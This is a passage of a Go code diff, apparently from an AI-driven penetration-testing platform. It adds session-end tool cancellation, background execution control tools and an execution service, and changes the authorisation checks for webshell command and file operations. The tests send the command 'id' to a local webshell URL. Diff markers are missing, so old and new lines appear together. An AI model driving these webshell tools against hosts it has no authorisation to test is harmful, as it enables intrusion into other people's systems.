"获取AI对话历史": "getWebshellAIHistory", "列出AI对话": "listWebshellAIConversations",
"执行WebShell命令": "webshellExec", "WebShell文件操作": "webshellFileOp",
"列出附件": "listChatUploads", "上传附件": "uploadChatFile", "删除附件": "deleteChatUpload",
"列出附件": "listChatUploads", "导出附件": "exportChatUploads", "上传附件": "uploadChatFile", "删除附件": "deleteChatUpload",
"下载附件": "downloadChatUpload", "获取附件文本内容": "getChatUploadContent",
"写入附件文本内容": "putChatUploadContent", "创建附件目录": "mkdirChatUpload", "重命名附件": "renameChatUpload",
"企业微信回调验证": "wecomCallbackVerify", "企业微信消息回调": "wecomCallbackMessage",
+10 -2
View File
@@ -252,7 +252,7 @@ type AgentTaskManager struct {
maxHistorySize int // 最大历史记录数
historyRetention time.Duration // 历史记录保留时间
eventBus *TaskEventBus // 可选:任务结束时关闭镜像 SSE 订阅
// toolCanceler 在用户整轮停止任务时终止当前 MCP 工具(非「中断并继续」)。
// toolCanceler 在用户整轮停止任务或会话结束时终止该会话仍在运行的 MCP 工具(非「中断并继续」)。
toolCanceler func(conversationID string)
}
@@ -284,7 +284,7 @@ func (m *AgentTaskManager) SetTaskEventBus(b *TaskEventBus) {
m.eventBus = b
}
// SetToolCanceler 设置整轮停止任务时终止当前 MCP 工具的回调(由 AgentHandler 注入)。
// SetToolCanceler 设置整轮停止任务/会话结束时终止仍在运行 MCP 工具的回调(由 AgentHandler 注入)。
func (m *AgentTaskManager) SetToolCanceler(fn func(conversationID string)) {
m.mu.Lock()
defer m.mu.Unlock()
@@ -444,6 +444,8 @@ func (m *AgentTaskManager) FinishTask(conversationID string, finalStatus string)
if finalStatus != "" {
task.Status = finalStatus
}
toolCanceler := m.toolCanceler
activeEinoExecuteCancel := task.activeEinoExecuteCancel
// 保存到历史记录
completedTask := &CompletedTask{
@@ -464,6 +466,12 @@ func (m *AgentTaskManager) FinishTask(conversationID string, finalStatus string)
delete(m.tasks, conversationID)
bus := m.eventBus
m.mu.Unlock()
if toolCanceler != nil {
toolCanceler(conversationID)
}
if activeEinoExecuteCancel != nil {
activeEinoExecuteCancel()
}
if bus != nil {
bus.CloseConversation(conversationID)
}
@@ -78,3 +78,23 @@ func TestCancelTaskDefaultCauseIsTaskCancelled(t *testing.T) {
t.Fatalf("expected tool canceler path for default cancel cause")
}
}
func TestFinishTaskInvokesToolCancelerOnSessionEnd(t *testing.T) {
tm := NewAgentTaskManager()
calls := 0
tm.SetToolCanceler(func(conversationID string) {
if conversationID == "conv-3" {
calls++
}
})
_, cancel := context.WithCancelCause(context.Background())
if _, err := tm.StartTask("conv-3", "hello", cancel); err != nil {
t.Fatalf("StartTask: %v", err)
}
tm.FinishTask("conv-3", "completed")
if calls != 1 {
t.Fatalf("expected one tool cleanup on FinishTask, got %d", calls)
}
}
+22 -10
View File
@@ -721,15 +721,22 @@ func (h *WebShellHandler) Exec(c *gin.Context) {
c.JSON(http.StatusBadRequest, gin.H{"error": "url and command are required"})
return
}
conn, allowed := h.authorizedWebshellConnection(c, req.ConnectionID, req.URL)
if !allowed {
// Pre-save connectivity tests send form credentials without connection_id.
// Saved connections must go through resource ACL; DB credentials are authoritative.
if cid := strings.TrimSpace(req.ConnectionID); cid != "" {
conn, allowed := h.authorizedWebshellConnection(c, cid, req.URL)
if !allowed {
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
return
}
// Never let a caller pair an authorized ID with attacker-controlled
// transport credentials or a URL.
req.URL, req.Password, req.Type = conn.URL, conn.Password, conn.Type
req.Method, req.CmdParam, req.Encoding = conn.Method, conn.CmdParam, conn.Encoding
} else if !security.SessionHasPermission(c, "webshell:write") {
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
return
}
// The database record is authoritative. Never let a caller pair an
// authorized ID with attacker-controlled transport credentials or a URL.
req.URL, req.Password, req.Type = conn.URL, conn.Password, conn.Type
req.Method, req.CmdParam, req.Encoding = conn.Method, conn.CmdParam, conn.Encoding
parsed, err := url.Parse(req.URL)
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
@@ -823,13 +830,18 @@ func (h *WebShellHandler) FileOp(c *gin.Context) {
c.JSON(http.StatusBadRequest, gin.H{"error": "url and action are required"})
return
}
conn, allowed := h.authorizedWebshellConnection(c, req.ConnectionID, req.URL)
if !allowed {
if cid := strings.TrimSpace(req.ConnectionID); cid != "" {
conn, allowed := h.authorizedWebshellConnection(c, cid, req.URL)
if !allowed {
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
return
}
req.URL, req.Password, req.Type = conn.URL, conn.Password, conn.Type
req.Method, req.CmdParam, req.Encoding, req.OS = conn.Method, conn.CmdParam, conn.Encoding, conn.OS
} else if !security.SessionHasPermission(c, "webshell:write") {
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
return
}
req.URL, req.Password, req.Type = conn.URL, conn.Password, conn.Type
req.Method, req.CmdParam, req.Encoding, req.OS = conn.Method, conn.CmdParam, conn.Encoding, conn.OS
parsed, err := url.Parse(req.URL)
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
+35 -3
View File
@@ -40,15 +40,47 @@ func TestWebshellExecRequiresConnectionAccessWhenConnectionIDProvided(t *testing
}
}
func TestWebshellExecRejectsAdHocURLWithoutConnectionID(t *testing.T) {
func TestWebshellExecAllowsAdHocURLWithoutConnectionID(t *testing.T) {
gin.SetMode(gin.TestMode)
_, user, _, _ := setupWebshellRBACTest(t)
handler := NewWebShellHandler(zap.NewNop(), nil)
// Ad-hoc probe (connectivity test before save) must not be rejected as "无权访问".
// The target URL will fail to connect; we only assert auth allows the request through.
w := performWebshellJSON(user, http.MethodPost, "/api/webshell/exec", map[string]interface{}{
"url": "http://127.0.0.1/admin", "command": "id",
"url": "http://127.0.0.1:1/admin", "command": "id",
}, handler.Exec)
if w.Code == http.StatusForbidden {
t.Fatalf("ad-hoc URL status = %d, want non-403: %s", w.Code, w.Body.String())
}
var resp ExecResponse
if err := json.Unmarshal(w.Body.Bytes(), &resp); err != nil {
t.Fatalf("decode response: %v body=%s", err, w.Body.String())
}
if resp.OK {
t.Fatalf("expected connection failure for closed port, got ok=true")
}
}
func TestWebshellExecRejectsAdHocWithoutWritePermission(t *testing.T) {
gin.SetMode(gin.TestMode)
user := &database.RBACUser{ID: "u_ro", Username: "readonly"}
handler := NewWebShellHandler(zap.NewNop(), nil)
payload, _ := json.Marshal(map[string]interface{}{
"url": "http://127.0.0.1/admin", "command": "id",
})
w := httptest.NewRecorder()
c, _ := gin.CreateTestContext(w)
c.Request = httptest.NewRequest(http.MethodPost, "/api/webshell/exec", bytes.NewReader(payload))
c.Request.Header.Set("Content-Type", "application/json")
c.Set(security.ContextSessionKey, security.Session{
UserID: user.ID,
Username: user.Username,
Permissions: map[string]bool{"webshell:read": true},
Scope: database.RBACScopeAssigned,
})
handler.Exec(c)
if w.Code != http.StatusForbidden {
t.Fatalf("ad-hoc URL status = %d, want %d: %s", w.Code, http.StatusForbidden, w.Body.String())
t.Fatalf("status = %d, want %d: %s", w.Code, http.StatusForbidden, w.Body.String())
}
}
+11
View File
@@ -31,6 +31,11 @@ const (
// 视觉分析(本地图片 → VL 模型 → 文本摘要)
ToolAnalyzeImage = "analyze_image"
// 长耗时工具执行控制(后台 execution 查询/等待/取消)
ToolGetToolExecution = "get_tool_execution"
ToolWaitToolExecution = "wait_tool_execution"
ToolCancelToolExecution = "cancel_tool_execution"
// WebShell 助手工具(AI 在 WebShell 管理 - AI 助手 中使用)
ToolWebshellExec = "webshell_exec"
ToolWebshellFileList = "webshell_file_list"
@@ -91,6 +96,9 @@ func IsBuiltinTool(toolName string) bool {
ToolListKnowledgeRiskTypes,
ToolSearchKnowledgeBase,
ToolAnalyzeImage,
ToolGetToolExecution,
ToolWaitToolExecution,
ToolCancelToolExecution,
ToolWebshellExec,
ToolWebshellFileList,
ToolWebshellFileRead,
@@ -149,6 +157,9 @@ func GetAllBuiltinTools() []string {
ToolListKnowledgeRiskTypes,
ToolSearchKnowledgeBase,
ToolAnalyzeImage,
ToolGetToolExecution,
ToolWaitToolExecution,
ToolCancelToolExecution,
ToolWebshellExec,
ToolWebshellFileList,
ToolWebshellFileRead,
+296
View File
@@ -0,0 +1,296 @@
package mcp
import (
"context"
"encoding/json"
"errors"
"fmt"
"strconv"
"strings"
"time"
"cyberstrike-ai/internal/mcp/builtin"
)
const (
defaultExecutionWaitTimeout = 60 * time.Second
maxExecutionWaitTimeout = 10 * time.Minute
defaultPartialPreviewBytes = 4096
maxPartialPreviewBytes = 64 * 1024
)
// RegisterExecutionControlTools exposes execution handle operations to Eino as
// ordinary MCP tools. This keeps the agent loop native: the model calls a tool,
// receives a bounded result, and may call wait_tool_execution again if needed.
func RegisterExecutionControlTools(server *Server, external *ExternalMCPManager) {
if server == nil {
return
}
server.RegisterTool(Tool{
Name: builtin.ToolGetToolExecution,
Description: "查询后台工具 execution 的当前状态、结果和错误。用于外部 MCP 工具等待超时后,凭 execution_id 继续查看进度。",
ShortDescription: "查询后台工具执行状态",
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"execution_id": map[string]interface{}{"type": "string", "description": "工具执行 ID"},
"include_partial_output": map[string]interface{}{"type": "boolean", "description": "是否返回运行中已产生输出的尾部预览,默认 true"},
"partial_output_max_bytes": map[string]interface{}{"type": "number", "description": "partial_output 最多返回字节数,默认 4096,最大 65536"},
},
"required": []string{"execution_id"},
},
}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
id := stringArg(args, "execution_id")
if id == "" {
return textToolResult("execution_id 必填", true), nil
}
exec := lookupToolExecution(server, external, id)
if exec == nil {
return textToolResult("未找到该 execution_id: "+id, true), nil
}
return textToolResult(formatExecutionForModel(exec, executionFormatOptionsFromArgs(args)), false), nil
})
server.RegisterTool(Tool{
Name: builtin.ToolWaitToolExecution,
Description: "继续等待一个后台工具 execution 完成。每次等待都有 timeout_seconds 上限;若仍未完成,会返回当前状态,模型可稍后再次调用。",
ShortDescription: "有界等待后台工具执行",
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"execution_id": map[string]interface{}{"type": "string", "description": "工具执行 ID"},
"timeout_seconds": map[string]interface{}{"type": "number", "description": "本次最多等待秒数,默认 60,最大 600"},
"include_partial_output": map[string]interface{}{"type": "boolean", "description": "是否返回运行中已产生输出的尾部预览,默认 true"},
"partial_output_max_bytes": map[string]interface{}{"type": "number", "description": "partial_output 最多返回字节数,默认 4096,最大 65536"},
},
"required": []string{"execution_id"},
},
}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
id := stringArg(args, "execution_id")
if id == "" {
return textToolResult("execution_id 必填", true), nil
}
wait := durationSecondsArg(args, "timeout_seconds", defaultExecutionWaitTimeout, maxExecutionWaitTimeout)
snap, err := waitToolExecutionSnapshot(ctx, server, external, id, wait)
if err != nil && !errors.Is(err, ErrExecutionWaitTimeout) {
return textToolResult("等待 execution 失败: "+err.Error(), true), nil
}
if snap == nil || snap.Execution == nil {
return textToolResult("未找到该 execution_id: "+id, true), nil
}
body := formatExecutionForModel(snap.Execution, executionFormatOptionsFromArgs(args))
if errors.Is(err, ErrExecutionWaitTimeout) {
body += "\n\n本次等待已到达 timeout_seconds,上述 execution 仍未完成。可继续等待、取消,或采用其他步骤。"
}
return textToolResult(body, false), nil
})
server.RegisterTool(Tool{
Name: builtin.ToolCancelToolExecution,
Description: "取消一个后台工具 execution。用于外部 MCP 工具长时间运行、误调用或用户要求停止时。",
ShortDescription: "取消后台工具执行",
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"execution_id": map[string]interface{}{"type": "string", "description": "工具执行 ID"},
"reason": map[string]interface{}{"type": "string", "description": "取消原因,可选,会写入终止说明"},
},
"required": []string{"execution_id"},
},
}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
id := stringArg(args, "execution_id")
if id == "" {
return textToolResult("execution_id 必填", true), nil
}
reason := stringArg(args, "reason")
if server.CancelToolExecutionWithNote(id, reason) {
return textToolResult("已请求取消内部工具 execution: "+id, false), nil
}
if external != nil && external.CancelToolExecutionWithNote(id, reason) {
return textToolResult("已请求取消外部 MCP execution: "+id, false), nil
}
return textToolResult("未找到进行中的 execution,或该 execution 已结束: "+id, true), nil
})
}
func waitToolExecutionSnapshot(ctx context.Context, server *Server, external *ExternalMCPManager, id string, wait time.Duration) (*ExecutionSnapshot, error) {
if server != nil && server.executionService != nil && server.executionService.getEntry(id) != nil {
return server.executionService.Wait(ctx, id, wait)
}
if external != nil && external.executionService != nil && external.executionService.getEntry(id) != nil {
return external.executionService.Wait(ctx, id, wait)
}
if server != nil && server.executionService != nil {
if snap, err := server.executionService.Get(id); err == nil {
return snap, nil
}
}
if external != nil && external.executionService != nil {
return external.executionService.Get(id)
}
exec := lookupToolExecution(server, external, id)
if exec == nil {
return nil, fmt.Errorf("execution not found: %s", id)
}
return &ExecutionSnapshot{Execution: exec}, nil
}
func lookupToolExecution(server *Server, external *ExternalMCPManager, id string) *ToolExecution {
if server != nil {
if exec, ok := server.GetExecution(id); ok && exec != nil {
return exec
}
}
if external != nil {
if exec, ok := external.GetExecution(id); ok && exec != nil {
return exec
}
}
return nil
}
type executionFormatOptions struct {
includePartialOutput bool
partialMaxBytes int
}
func executionFormatOptionsFromArgs(args map[string]interface{}) executionFormatOptions {
includePartial := true
if raw, ok := args["include_partial_output"]; ok {
if b, ok := raw.(bool); ok {
includePartial = b
} else if s := strings.TrimSpace(fmt.Sprint(raw)); s != "" {
includePartial = strings.EqualFold(s, "true") || s == "1" || strings.EqualFold(s, "yes")
}
}
maxBytes := intArg(args, "partial_output_max_bytes", defaultPartialPreviewBytes, maxPartialPreviewBytes)
return executionFormatOptions{includePartialOutput: includePartial, partialMaxBytes: maxBytes}
}
func formatExecutionForModel(exec *ToolExecution, opts executionFormatOptions) string {
if exec == nil {
return "execution: null"
}
payload := map[string]interface{}{
"execution_id": exec.ID,
"tool": exec.ToolName,
"status": exec.Status,
"started_at": exec.StartTime.Format(time.RFC3339),
}
if exec.EndTime != nil {
payload["ended_at"] = exec.EndTime.Format(time.RFC3339)
}
if exec.Duration > 0 {
payload["duration"] = exec.Duration.String()
}
if exec.Error != "" {
payload["error"] = exec.Error
}
if exec.Result != nil {
payload["result"] = ToolResultPlainText(exec.Result)
payload["is_error"] = exec.Result.IsError
}
if opts.includePartialOutput && exec.PartialOutput != "" {
partial := tailStringBytes(exec.PartialOutput, opts.partialMaxBytes)
payload["partial_output"] = partial
payload["partial_output_bytes"] = exec.PartialOutputBytes
payload["partial_output_truncated"] = exec.PartialOutputTruncated || len([]byte(partial)) < len([]byte(exec.PartialOutput))
if exec.PartialOutputUpdatedAt != nil {
payload["partial_output_updated_at"] = exec.PartialOutputUpdatedAt.Format(time.RFC3339)
}
}
b, err := json.MarshalIndent(payload, "", " ")
if err != nil {
return fmt.Sprintf("execution_id: %s\nstatus: %s\nerror: %s", exec.ID, exec.Status, exec.Error)
}
return string(b)
}
func tailStringBytes(s string, maxBytes int) string {
if maxBytes <= 0 {
maxBytes = defaultPartialPreviewBytes
}
b := []byte(s)
if len(b) <= maxBytes {
return s
}
return string(b[len(b)-maxBytes:])
}
func textToolResult(text string, isErr bool) *ToolResult {
return &ToolResult{Content: []Content{{Type: "text", Text: text}}, IsError: isErr}
}
func stringArg(args map[string]interface{}, key string) string {
if args == nil {
return ""
}
raw, ok := args[key]
if !ok || raw == nil {
return ""
}
switch v := raw.(type) {
case string:
return strings.TrimSpace(v)
default:
return strings.TrimSpace(fmt.Sprint(v))
}
}
func durationSecondsArg(args map[string]interface{}, key string, def, max time.Duration) time.Duration {
if args == nil {
return def
}
var seconds float64
switch v := args[key].(type) {
case int:
seconds = float64(v)
case int64:
seconds = float64(v)
case float64:
seconds = v
case json.Number:
f, _ := v.Float64()
seconds = f
case string:
f, _ := strconv.ParseFloat(strings.TrimSpace(v), 64)
seconds = f
}
if seconds <= 0 {
return def
}
d := time.Duration(seconds * float64(time.Second))
if max > 0 && d > max {
return max
}
return d
}
func intArg(args map[string]interface{}, key string, def, max int) int {
if args == nil {
return def
}
var n int
switch v := args[key].(type) {
case int:
n = v
case int64:
n = int(v)
case float64:
n = int(v)
case json.Number:
i, _ := v.Int64()
n = int(i)
case string:
i, _ := strconv.Atoi(strings.TrimSpace(v))
n = i
}
if n <= 0 {
return def
}
if max > 0 && n > max {
return max
}
return n
}
+625
View File
@@ -0,0 +1,625 @@
package mcp
import (
"context"
"errors"
"fmt"
"strings"
"sync"
"time"
"cyberstrike-ai/internal/authctx"
"github.com/google/uuid"
"go.uber.org/zap"
)
const (
ToolExecutionStatusQueued = "queued"
ToolExecutionStatusRunning = "running"
ToolExecutionStatusCompleted = "completed"
ToolExecutionStatusFailed = "failed"
ToolExecutionStatusCancelled = "cancelled"
ToolExecutionStatusHardTimeout = "hard_timeout"
ToolExecutionStatusOrphaned = "orphaned"
)
var ErrExecutionWaitTimeout = errors.New("tool execution wait timeout")
// ExecutionRunFunc is the blocking operation owned by a worker.
type ExecutionRunFunc func(context.Context) (*ToolResult, error)
type ExecutionPreRunFunc func(context.Context, *ToolExecution) (func(), error)
// ExecutionDoneFunc observes the final persisted state. It is invoked once,
// including for late completions after an agent has stopped waiting.
type ExecutionDoneFunc func(*ToolExecution)
type ExecutionRequest struct {
ID string
ToolName string
Arguments map[string]interface{}
ConversationID string
OwnerUserID string
HardTimeout time.Duration
PreRun ExecutionPreRunFunc
Run ExecutionRunFunc
OnDone ExecutionDoneFunc
}
type ExecutionHandle struct {
ID string
}
type ExecutionSnapshot struct {
Execution *ToolExecution
}
type executionEntry struct {
exec *ToolExecution
cancel context.CancelFunc
done chan struct{}
preRun ExecutionPreRunFunc
run ExecutionRunFunc
result *ToolResult
err error
}
// ExecutionService keeps Eino-facing tool calls synchronous while moving the
// untrusted blocking work into cancellable workers with explicit execution IDs.
type ExecutionService struct {
storage MonitorStorage
logger *zap.Logger
mu sync.Mutex
entries map[string]*executionEntry
abortUserNotes map[string]string
maxInMemory int
resultMaxBytes int
spillRootDir string
}
func NewExecutionService(storage MonitorStorage, logger *zap.Logger) *ExecutionService {
if logger == nil {
logger = zap.NewNop()
}
return &ExecutionService{
storage: storage,
logger: logger,
entries: make(map[string]*executionEntry),
abortUserNotes: make(map[string]string),
maxInMemory: 1000,
resultMaxBytes: DefaultToolResultMaxBytes,
}
}
func (s *ExecutionService) ConfigureToolResultMaxBytes(maxBytes int) {
if s == nil {
return
}
s.mu.Lock()
defer s.mu.Unlock()
s.resultMaxBytes = maxBytes
}
// ConfigureToolResultSpillRoot sets the reduction-compatible root used when
// oversized tool results are spilled to local files (empty → tmp/reduction).
func (s *ExecutionService) ConfigureToolResultSpillRoot(rootDir string) {
if s == nil {
return
}
s.mu.Lock()
defer s.mu.Unlock()
s.spillRootDir = strings.TrimSpace(rootDir)
}
func (s *ExecutionService) Submit(ctx context.Context, req ExecutionRequest) (*ExecutionHandle, error) {
if s == nil {
return nil, fmt.Errorf("execution service is nil")
}
if req.Run == nil {
return nil, fmt.Errorf("execution run func is nil")
}
id := strings.TrimSpace(req.ID)
if id == "" {
id = uuid.New().String()
}
start := time.Now()
exec := &ToolExecution{
ID: id,
ToolName: strings.TrimSpace(req.ToolName),
Arguments: cloneArgsMap(req.Arguments),
Status: ToolExecutionStatusQueued,
StartTime: start,
ConversationID: strings.TrimSpace(req.ConversationID),
OwnerUserID: strings.TrimSpace(req.OwnerUserID),
}
if exec.ConversationID == "" {
exec.ConversationID = MCPConversationIDFromContext(ctx)
}
if exec.OwnerUserID == "" {
if principal, ok := authctx.PrincipalFromContext(ctx); ok {
exec.OwnerUserID = principal.UserID
}
}
runCtx := detachedExecutionContext(ctx)
var cancel context.CancelFunc
if req.HardTimeout > 0 {
runCtx, cancel = context.WithTimeout(runCtx, req.HardTimeout)
} else {
runCtx, cancel = context.WithCancel(runCtx)
}
entry := &executionEntry{exec: exec, cancel: cancel, done: make(chan struct{}), preRun: req.PreRun, run: req.Run}
s.mu.Lock()
if _, exists := s.entries[id]; exists {
s.mu.Unlock()
cancel()
return nil, fmt.Errorf("execution already exists: %s", id)
}
s.entries[id] = entry
s.cleanupOldEntriesLocked()
s.mu.Unlock()
if s.storage != nil {
if err := s.storage.SaveToolExecution(exec); err != nil {
s.logger.Warn("保存执行记录到数据库失败", zap.Error(err), zap.String("executionId", id))
}
}
notifyToolRunBegin(ctx, id)
go s.runWorker(runCtx, entry, req.OnDone)
return &ExecutionHandle{ID: id}, nil
}
func (s *ExecutionService) runWorker(ctx context.Context, entry *executionEntry, onDone ExecutionDoneFunc) {
id := entry.exec.ID
ctx = WithMCPExecutionID(ctx, id)
if conv := strings.TrimSpace(entry.exec.ConversationID); conv != "" {
ctx = WithMCPConversationID(ctx, conv)
}
var release func()
defer func() {
if release != nil {
release()
}
entry.cancel()
notifyToolRunEnd(ctx, id)
close(entry.done)
}()
if entry.preRun != nil {
var preErr error
release, preErr = entry.preRun(ctx, cloneToolExecution(entry.exec))
if preErr != nil {
s.finishEntry(ctx, entry, nil, preErr, onDone)
return
}
}
s.markEntryRunning(entry)
result, err := entryResultRecover(ctx, entry.exec.ToolName, s.logger, func() (*ToolResult, error) {
return nilSafeRun(ctx, entry)
})
s.finishEntry(ctx, entry, result, err, onDone)
}
func (s *ExecutionService) markEntryRunning(entry *executionEntry) {
if s == nil || entry == nil || entry.exec == nil {
return
}
s.mu.Lock()
if !isExecutionTerminal(entry.exec.Status) {
entry.exec.Status = ToolExecutionStatusRunning
}
runningExec := cloneToolExecution(entry.exec)
s.mu.Unlock()
if s.storage != nil {
if err := s.storage.SaveToolExecution(runningExec); err != nil {
s.logger.Warn("保存执行记录到数据库失败", zap.Error(err), zap.String("executionId", runningExec.ID))
}
}
}
func (s *ExecutionService) finishEntry(ctx context.Context, entry *executionEntry, result *ToolResult, err error, onDone ExecutionDoneFunc) {
id := entry.exec.ID
cancelledWithUserNote := s.applyAbortUserNoteToCancelledToolResult(id, &result, &err)
now := time.Now()
s.mu.Lock()
spill := ToolResultSpillConfig{
RootDir: s.spillRootDir,
ConversationID: entry.exec.ConversationID,
ExecutionID: id,
}
if ctx != nil {
if pid := MCPProjectIDFromContext(ctx); pid != "" {
spill.ProjectID = pid
}
if conv := MCPConversationIDFromContext(ctx); conv != "" {
spill.ConversationID = conv
}
}
result = NormalizeToolResultForStorageWithSpill(result, s.resultMaxBytes, spill)
entry.result = result
entry.err = err
entry.exec.EndTime = &now
entry.exec.Duration = now.Sub(entry.exec.StartTime)
if err != nil {
switch {
case errors.Is(err, context.DeadlineExceeded):
entry.exec.Status = ToolExecutionStatusHardTimeout
entry.exec.Error = "工具执行超过硬超时限制"
case errors.Is(err, context.Canceled):
entry.exec.Status = ToolExecutionStatusCancelled
entry.exec.Error = "已手动终止或任务已取消"
default:
entry.exec.Status = ToolExecutionStatusFailed
entry.exec.Error = err.Error()
}
} else if result != nil && result.IsError {
if cancelledWithUserNote {
entry.exec.Status = ToolExecutionStatusCancelled
entry.exec.Error = ""
} else if isBackgroundWaitToolResult(result) {
entry.exec.Status = ToolExecutionStatusCompleted
entry.exec.Error = ""
} else {
entry.exec.Status = ToolExecutionStatusFailed
entry.exec.Error = firstToolResultText(result, "工具执行返回错误结果")
}
entry.exec.Result = result
} else {
entry.exec.Status = ToolExecutionStatusCompleted
if result == nil {
result = &ToolResult{Content: []Content{{Type: "text", Text: "工具执行完成,但未返回结果"}}}
entry.result = result
}
entry.exec.Result = result
}
finalExec := cloneToolExecution(entry.exec)
s.mu.Unlock()
if s.storage != nil {
if saveErr := s.storage.SaveToolExecution(finalExec); saveErr != nil {
s.logger.Warn("保存执行记录到数据库失败", zap.Error(saveErr), zap.String("executionId", id))
}
}
if onDone != nil {
onDone(finalExec)
}
}
func nilSafeRun(ctx context.Context, entry *executionEntry) (*ToolResult, error) {
if entry == nil {
return nil, fmt.Errorf("execution entry is nil")
}
if entry.run == nil {
return nil, fmt.Errorf("execution run func not wired")
}
return entry.run(ctx)
}
func entryResultRecover(ctx context.Context, toolName string, logger *zap.Logger, fn func() (*ToolResult, error)) (res *ToolResult, err error) {
defer func() {
if r := recover(); r != nil {
if logger != nil {
logger.Error("tool execution worker panic recovered", zap.Any("recover", r), zap.String("toolName", toolName), zap.Stack("stack"))
}
err = fmt.Errorf("tool execution panic: %v", r)
}
}()
return fn()
}
func (s *ExecutionService) Wait(ctx context.Context, executionID string, timeout time.Duration) (*ExecutionSnapshot, error) {
entry := s.getEntry(executionID)
if entry == nil {
return s.getPersistedSnapshot(executionID)
}
if isExecutionTerminal(entry.exec.Status) {
return &ExecutionSnapshot{Execution: cloneToolExecution(entry.exec)}, nil
}
var timeoutCh <-chan time.Time
var timer *time.Timer
if timeout > 0 {
timer = time.NewTimer(timeout)
timeoutCh = timer.C
defer timer.Stop()
}
select {
case <-entry.done:
return &ExecutionSnapshot{Execution: cloneToolExecution(entry.exec)}, nil
case <-timeoutCh:
return &ExecutionSnapshot{Execution: cloneToolExecution(entry.exec)}, ErrExecutionWaitTimeout
case <-ctxDone(ctx):
return &ExecutionSnapshot{Execution: cloneToolExecution(entry.exec)}, ctx.Err()
}
}
func (s *ExecutionService) Get(executionID string) (*ExecutionSnapshot, error) {
entry := s.getEntry(executionID)
if entry != nil {
return &ExecutionSnapshot{Execution: cloneToolExecution(entry.exec)}, nil
}
return s.getPersistedSnapshot(executionID)
}
func (s *ExecutionService) AppendPartialOutput(executionID, chunk string) bool {
id := strings.TrimSpace(executionID)
if s == nil || id == "" || chunk == "" {
return false
}
now := time.Now()
s.mu.Lock()
defer s.mu.Unlock()
entry := s.entries[id]
if entry == nil || entry.exec == nil {
return false
}
appendPartialOutput(entry.exec, chunk, defaultPartialOutputMaxBytes, now)
return true
}
func (s *ExecutionService) Cancel(executionID, note string) bool {
id := strings.TrimSpace(executionID)
if id == "" || s == nil {
return false
}
s.mu.Lock()
entry := s.entries[id]
if entry == nil || isExecutionTerminal(entry.exec.Status) {
s.mu.Unlock()
return false
}
if strings.TrimSpace(note) != "" {
s.abortUserNotes[id] = strings.TrimSpace(note)
}
cancel := entry.cancel
s.mu.Unlock()
if cancel != nil {
cancel()
}
return true
}
func (s *ExecutionService) ActiveRunningExecutionIDs() map[string]struct{} {
if s == nil {
return nil
}
s.mu.Lock()
defer s.mu.Unlock()
out := make(map[string]struct{})
for id, entry := range s.entries {
if entry != nil && entry.exec != nil && !isExecutionTerminal(entry.exec.Status) {
out[id] = struct{}{}
}
}
if len(out) == 0 {
return nil
}
return out
}
func (s *ExecutionService) CancelAll(note string) {
if s == nil {
return
}
s.mu.Lock()
cancels := make([]context.CancelFunc, 0, len(s.entries))
for id, entry := range s.entries {
if entry == nil || isExecutionTerminal(entry.exec.Status) {
continue
}
if strings.TrimSpace(note) != "" {
s.abortUserNotes[id] = strings.TrimSpace(note)
}
if entry.cancel != nil {
cancels = append(cancels, entry.cancel)
}
}
s.mu.Unlock()
for _, cancel := range cancels {
cancel()
}
}
func (s *ExecutionService) getEntry(executionID string) *executionEntry {
if s == nil {
return nil
}
id := strings.TrimSpace(executionID)
if id == "" {
return nil
}
s.mu.Lock()
defer s.mu.Unlock()
return s.entries[id]
}
func (s *ExecutionService) getPersistedSnapshot(executionID string) (*ExecutionSnapshot, error) {
id := strings.TrimSpace(executionID)
if id == "" {
return nil, fmt.Errorf("execution_id is required")
}
if s != nil && s.storage != nil {
exec, err := s.storage.GetToolExecution(id)
if err == nil && exec != nil {
return &ExecutionSnapshot{Execution: exec}, nil
}
if err != nil {
return nil, err
}
}
return nil, fmt.Errorf("execution not found: %s", id)
}
func (s *ExecutionService) applyAbortUserNoteToCancelledToolResult(executionID string, result **ToolResult, err *error) (cancelledWithUserNote bool) {
note := strings.TrimSpace(s.takeAbortUserNote(executionID))
if note == "" {
return false
}
hasErr := err != nil && *err != nil
hasRes := result != nil && *result != nil
if !hasErr && !hasRes {
return false
}
partial := ""
if hasRes {
partial = ToolResultPlainText(*result)
}
if partial == "" && hasErr {
partial = (*err).Error()
}
merged := MergePartialToolOutputAndAbortNote(partial, note)
if err != nil {
*err = nil
}
if result != nil {
*result = &ToolResult{Content: []Content{{Type: "text", Text: merged}}, IsError: true}
}
return true
}
func (s *ExecutionService) takeAbortUserNote(id string) string {
s.mu.Lock()
defer s.mu.Unlock()
note := s.abortUserNotes[id]
delete(s.abortUserNotes, id)
return note
}
func (s *ExecutionService) cleanupOldEntriesLocked() {
if s.maxInMemory <= 0 || len(s.entries) <= s.maxInMemory {
return
}
type oldEntry struct {
id string
startTime time.Time
}
var terminal []oldEntry
for id, entry := range s.entries {
if entry != nil && entry.exec != nil && isExecutionTerminal(entry.exec.Status) {
terminal = append(terminal, oldEntry{id: id, startTime: entry.exec.StartTime})
}
}
for len(s.entries) > s.maxInMemory && len(terminal) > 0 {
oldest := 0
for i := 1; i < len(terminal); i++ {
if terminal[i].startTime.Before(terminal[oldest].startTime) {
oldest = i
}
}
delete(s.entries, terminal[oldest].id)
terminal = append(terminal[:oldest], terminal[oldest+1:]...)
}
}
func firstToolResultText(result *ToolResult, fallback string) string {
if result != nil {
for _, c := range result.Content {
if strings.TrimSpace(c.Text) != "" {
return c.Text
}
}
}
return fallback
}
func isBackgroundWaitToolResult(result *ToolResult) bool {
text := strings.ToLower(strings.TrimSpace(ToolResultPlainText(result)))
if text == "" {
return false
}
hasExecutionID := strings.Contains(text, "execution_id:") || strings.Contains(text, `"execution_id"`)
hasRunningStatus := strings.Contains(text, "status: running") || strings.Contains(text, "status: queued") ||
strings.Contains(text, `"status": "running"`) || strings.Contains(text, `"status":"running"`) ||
